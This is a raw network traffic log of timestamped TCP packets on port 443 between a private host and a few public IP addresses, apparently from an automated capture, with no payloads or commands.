Apr 24, 2024 23:07:38.647355080 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.647370100 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.649918079 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.649931908 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.649982929 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.649990082 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.650036097 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.651586056 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.651634932 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.651639938 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.651658058 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.651762009 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.654251099 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.654263973 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.654320955 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.654326916 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.654352903 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.654367924 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.656939983 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.656986952 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.657001019 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.657012939 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.657033920 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.657059908 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.659727097 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.659744024 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.659806013 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.659813881 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.659894943 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.661472082 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.661550045 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.661567926 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.661633968 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.661650896 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.661674023 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.661679983 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.661715031 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.662112951 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.662159920 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.662204981 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.662228107 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.662237883 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.662408113 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.662414074 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.663074970 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.663194895 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.663199902 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.663207054 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.663244009 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.663249969 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.682830095 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.682912111 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.682913065 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.682923079 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.682957888 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.682962894 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.683095932 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.683131933 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.683170080 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.683182955 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.683218002 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.683223009 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.683242083 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.683276892 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.683283091 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684000969 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684047937 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684056044 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.684062958 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684097052 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.684112072 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684194088 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684237003 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.684243917 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684855938 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684896946 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.684899092 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684906960 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.684947968 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.785154104 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.785228014 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.785276890 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.785293102 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.785324097 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.785531998 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.788250923 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.788268089 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.788379908 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.788392067 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.788485050 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.789995909 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.790056944 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.790100098 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.790112972 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.790138960 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.793262959 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.793276072 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.793363094 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.793363094 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.793375969 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.795839071 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.795850992 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.795902014 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.795934916 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.795953035 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.796519041 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.798696995 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.798710108 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.798805952 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.798818111 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.799390078 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.799463034 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.799545050 CEST	49725	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.799561024 CEST	443	49725	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.887659073 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:38.887703896 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:38.887784958 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:38.890733957 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:38.890744925 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:38.897119045 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.899843931 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.899863958 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.903382063 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.903513908 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.905018091 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.905018091 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.905188084 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.948885918 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.948921919 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.956442118 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.956470966 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.956618071 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.957668066 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:38.957681894 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:38.994709969 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.222570896 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.222913027 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:39.222939014 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.223426104 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.223921061 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:39.223921061 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:39.223934889 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.224006891 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.253587961 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.253671885 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.253772974 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.254427910 CEST	49727	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.254465103 CEST	443	49727	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.268233061 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.268474102 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.268486023 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.268768072 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.269165039 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.269165039 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.269182920 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.269222975 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.269223928 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.269257069 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.278805971 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:39.309437037 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.557538986 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.557625055 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.558831930 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:39.562494993 CEST	49728	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:39.562513113 CEST	443	49728	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:39.635104895 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635157108 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635190964 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635202885 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.635214090 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635457039 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.635462999 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635555029 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635631084 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.635634899 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635732889 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.635867119 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.635871887 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.636284113 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.636383057 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.636388063 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.636466026 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.636518955 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.636524916 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.637124062 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.637274981 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.637274981 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.637289047 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.637391090 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.637396097 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.637505054 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.637722015 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.637727022 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.638396978 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.638463974 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.638474941 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.638689041 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.638900042 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.639080048 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.639117002 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.639126062 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.639225960 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.639261961 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.639270067 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.639471054 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.639477015 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.639870882 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.640068054 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.640125036 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.640135050 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.640233994 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.640588999 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.640597105 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.640746117 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.640965939 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.641056061 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.641073942 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.641083002 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.641108036 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.641437054 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.641592026 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.641598940 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.641746044 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.642321110 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.642508984 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.642540932 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.642550945 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.642579079 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.642731905 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.642889023 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.643032074 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.643042088 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.643173933 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.643178940 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.643322945 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.643405914 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.643439054 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.643444061 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.643708944 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.643713951 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.644174099 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.644205093 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.644277096 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.644284964 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.644315004 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.644896030 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.647908926 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.647927046 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.692800045 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.774605989 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:39.774631023 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:39.774722099 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:39.788490057 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.788707018 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.788767099 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.788777113 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.789128065 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.789287090 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.789293051 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.789427042 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.789473057 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.789480925 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.789658070 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.789712906 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.789717913 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.790472031 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.790548086 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.790554047 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.790678978 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.790718079 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.790724039 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.791645050 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.791731119 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.791734934 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.791840076 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.791945934 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.791953087 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792057991 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792184114 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792243004 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792259932 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.792265892 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792303085 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.792378902 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792414904 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792478085 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.792484999 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.792560101 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.793066978 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.793417931 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.793531895 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.793539047 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.794014931 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.794107914 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.794112921 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.794173002 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.794452906 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.794461966 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795066118 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795130014 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.795134068 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795258045 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795300961 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.795308113 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795634985 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795723915 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795761108 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.795764923 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795926094 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.795929909 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.795969009 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796117067 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.796122074 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796288013 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796370983 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.796375990 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796561956 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796627998 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.796633005 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796808958 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.796983004 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.796988010 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.798099995 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:39.798110008 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:39.798717022 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.798790932 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.798795938 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.798933029 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:39.799005985 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.820512056 CEST	49729	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:39.820540905 CEST	443	49729	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:40.151406050 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.200123072 CEST	49733	443	192.168.2.5	35.190.80.1
